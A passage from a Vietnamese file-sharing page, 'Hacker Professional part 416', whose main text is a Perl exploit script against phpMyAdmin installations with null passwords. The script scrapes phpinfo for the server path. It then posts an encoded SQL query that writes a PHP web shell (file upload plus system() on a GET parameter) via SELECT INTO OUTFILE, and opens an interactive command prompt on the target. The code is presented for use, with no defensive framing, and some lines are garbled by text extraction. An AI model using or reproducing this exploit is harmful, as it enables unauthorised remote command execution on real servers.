Hacker Professional part 416

Chia sẻ: Angel Smile | Ngày: | Loại File: PDF | Số trang:6

Thêm vào BST

Báo xấu

40
lượt xem 6
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Tham khảo tài liệu 'hacker professional part 416', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: Hacker Professional part 416

print q{ ________________________________________________ Exploit for phpMyAdmin Null password Usage: perl PMANull.pl Example: perl PMANull.pl www.target.com / 0 ________________________________________________ }; exit; } $ip = $ARGV[0]; $http = $ARGV[1]; $ip =~ s/(http:\/\/)//eg; $id = $ARGV[2]; $http .= "phpinfo.php"; $num = 0; if($id==2) { goto CMDS; }
#$data = "username=andrejiao&from_url=%3C%7Bfrom_url%7D%3E&submit=Send+%3 E+%3E"; #$idata = (length($data)); $socks = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>"$ip", PeerPort=>'80') or die"[-] Couldn't connect!\n"; print "[+] Connected!\n"; httpcon($socks,"GET",$ip,$http,"!"); print "[+] Exploiting Target...\r\n"; while($ans = ){ if($ans =~ /System (.*)/) { print "[+] System Info: $1\r\n"; $num++; } if($ans =~ /safe_mode(.*)/){ print "[+] Safe Mode: $1\r\n"; $num++;
} if($ans =~ /_SERVER\["SCRIPT_FILENAME"\](.*)\/phpinfo.php/){ print "[+] Path: $1\r\n"; $path = $1; $num++; } } if(($num
$idata = "is_js_confirmed=0&lang=en-utf- 8&server=1&collation_connection=utf8_general_ci&db=mysql&pos=0&goto=db_ details.php&zero_rows=Your+SQL+query+has+been+executed+successfully&pre v_sql_query=&sql_query=use+mysql%3B%0D%0ACREATE+TABLE+temptab+ %28codetab+text%29%3B%0D%0AINSERT+INTO+temptab+%28codetab%29+ values+%28%27%3CFORM+ENCTYPE%3D%22multipart%2Fform%2Ddata%2 2+ACTION%3D%22helps%2Ephp%22+METHOD%3D%22POST%22%3E%3CI NPUT+TYPE%3D%22hidden%22+name%3D%22MAX%5FFILE%5FSIZE%22 +value%3D%22100000%22%3EUpload+this+file%3A+%3CINPUT+NAME%3D %22userfile%22+TYPE%3D%22file%22%3E%3CINPUT+TYPE%3D%22submit %22+VALUE%3D%22Send%22%3E%3C%2FFORM%3E%3C%3Fphp+move% 5Fuploaded%5Ffile%28%24userfile%2C+%22entrika%2Ephp%22%29%3B+%3F %3E%3C%3Fphp+if+%28%21empty%28%24%5FGET%5B%22c%22%5D%29 %29+%7B+echo+%22%3Cpre%3E%22%3B+system%28%24%5FGET%5B%22c %22%5D%29%3B+echo+%22%3C%2Fpre%3E%22%3B+%7D+exit%3B+%3F %3E%27%29%3B%0D%0ASELECT+%2A+INTO+OUTFILE+%27$path%2Fhel ps%2Ephp%27+from+temptab%3B%0D%0ADROP+TABLE+temptab%3B%0D %0AFLUSH+LOGS%3B+&show_query=1&SQL=Go&sql_file=&MAX_FILE_S IZE=16777216&sql_file_compression&charset_of_file=utf8"; $http = $ARGV[1]; $http .= "read_dump.php"; #$http .= "import.php"; $socks = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>"$ip", PeerPort=>'80') or die"[-] Couldn't connect!\n"; httpcon($socks,"POST",$ip,$http,$idata);
while($ans = ){ if($ans =~ /Error/){ print "[-] Error was found!\r\n"; $sqlerror = 1; } if(($sqlerror==2) && ($ans =~ //)){ $sqlerror=0; die "[-] Error!\r\n"; } if($sqlerror==2){ print "[-] Error: $ans"; } if(($sqlerror==1) && ($ans =~ //)){ $sqlerror=2; } } print "[+] Shell Injected: $ip/$ARGV[1]/helps.php"; if($id==1) { die "[+] Bye!\r\n"; } CMDS: while (1){ $cout = 0; print "\r\nCMD> "; $cmd = ; chomp($cmd); if(($cmd eq 'anquit') || (!defined($cmd))){ die "[+] Bye!"; }